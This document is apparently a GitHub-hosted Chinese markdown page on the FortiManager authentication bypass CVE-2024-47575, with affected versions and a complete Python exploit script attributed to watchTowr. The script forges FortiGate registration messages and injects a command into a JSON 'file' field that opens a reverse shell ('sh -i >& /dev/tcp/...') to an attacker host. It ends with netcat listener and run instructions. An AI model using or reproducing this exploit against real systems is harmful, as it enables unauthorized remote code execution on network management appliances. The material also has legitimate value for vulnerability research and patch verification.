Skip to content

Latest commit

 

History

History
257 lines (177 loc) · 6.21 KB

FortiManager身份认证绕过漏洞(CVE-2024-47575).md

File metadata and controls

257 lines (177 loc) · 6.21 KB

FortiManager身份认证绕过漏洞(CVE-2024-47575)

Fortinet FortiManager 身份认证绕过漏洞(CVE-2024-47575),未经身份验证的远程攻击者可以使用有效的 FortiGate 证书在 FortiManager 中注册未经授权的设备。成功利用漏洞后攻击者将能够查看和修改文件(例如配置文件)以获取敏感信息,并能够管理其他设备执行任意代码或命令。

影响版本

7.6.0 <= FortiManager 7.6.* <= 7.6.0

7.4.0 <= FortiManager 7.4.* <= 7.4.4

7.2.0 <= FortiManager 7.2.* <= 7.2.7

7.0.0 <= FortiManager 7.0.* <= 7.0.12

6.4.0 <= FortiManager 6.4.* <= 6.4.14

6.2.0 <= FortiManager 6.2.* <= 6.2.12

7.4.1 <= FortiManager Cloud 7.4.* <= 7.4.4

7.2.1 <= FortiManager Cloud 7.2.* <= 7.2.7

7.0.1 <= FortiManager Cloud 7.0.* <= 7.0.12

FortiManager Cloud 6.4.*

poc

脚本来源 https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575

import socket
import struct
import ssl
import argparse
import random
from time import sleep



banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        CVE-2024-47575.py
        (*) FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575) exploit by watchTowr
        
          - Sina Kheirkhah (@SinSinology), watchTowr ([email protected])

        CVEs: [CVE-2024-47575]
"""


print(banner)
parser = argparse.ArgumentParser(description='FortiManager CVE-2024-47575 exploit')
parser.add_argument('--target', type=str, help='Target IP', required=True)
parser.add_argument('--lhost', type=str, help='attacker IP', required=False, default='empty')
parser.add_argument('--lport', type=str, help='attacker PORT', required=False, default='empty')
parser.add_argument('--action', type=str, choices=['check', 'exploit'], help='Choose an action: "check" or "exploit"', required=True)
args = parser.parse_args()



if(args.action == "exploit"):
    if(args.lhost == 'empty' or args.lport == 'empty'):
        print("[ERROR] you got an error, because you chose the 'exploit' mode but didnt provide the '--lhost and --lport'")
        exit(1)


# print("[DEBUG] go and run the following command on your fortimanager -> tail -f /var/log/fdssvrd.log")
# input("press enter to continue")


request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n",b"\r\n")



request_auth=b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n",b"\r\n")




request_file_exchange = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd

\0""".replace(b"\n", b"\r\n").replace(b"REPLACE_LOCAL_ID", str(random.randint(100,999)).encode())

json_payload = b"""{
    "method": "exec",
    "id": 1,
    "params": [
        {
            "url": "um/som/export",
            "data": {
               "file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
            }
        }
    ]
}""".replace(b"REPLACE_LHOST", args.lhost.encode()).replace(b"REPLACE_LPORT", args.lport.encode())
request_channel_open = b"""channel
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")

request_channel_open += str(len(json_payload)).encode()
request_channel_open += b"\n"
request_channel_open += json_payload
request_channel_open += b"0\n"


request_channel_close = b"""channel
action=close
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")


def sendmsg(socket, request, recv=True):
    message=struct.pack(">II", 0x36e01100, len(request)+8)+request
    socket.send(message)
    if(not recv):
        return
    hdr=socket.read(8)
    if len(hdr)!=8:
        return hdr
    magic, size=struct.unpack(">II", socket.read(8))
    return socket.read(size)


def create_ssl_sock():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin")  # Load the certificate and key
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    s = socket.create_connection(host, 30)
    ssl_sock = context.wrap_socket(s)
    return ssl_sock

def print_n_sleep(msg, s=0.4):
    print(msg)
    sleep(s)

host = (args.target, 541)

ssl_sock = create_ssl_sock()


response= sendmsg(ssl_sock, request_getip)
# print(response)



response= sendmsg(ssl_sock, request_auth)
# print(response)



response = sendmsg(ssl_sock, request_file_exchange)
remote_id = response.decode().split('\r\n')[1].split('=')[1].strip()

if(remote_id !=None):
    print(f"[VULN] Target is Vulnerable")
else:
    print(f"[SAFE] Target is Safe")
    exit(1)

if(args.action == "check"):
    exit(1)


request_channel_open = request_channel_open.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_open, False)

# print(response)



request_channel_close = request_channel_close.replace(b"REPLACE_REMOTE_ID", remote_id.encode())

response = sendmsg(ssl_sock, request_channel_close, True)
# print(response)

首先,建立您的 ncat 会话:

nc -lvvnp 80

然后,执行我们的exp:

python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit

要单独检查漏洞,请使用以下选项:

python3 CVE-2024-47575.py --target 192.168.1.110 --action check

漏洞来源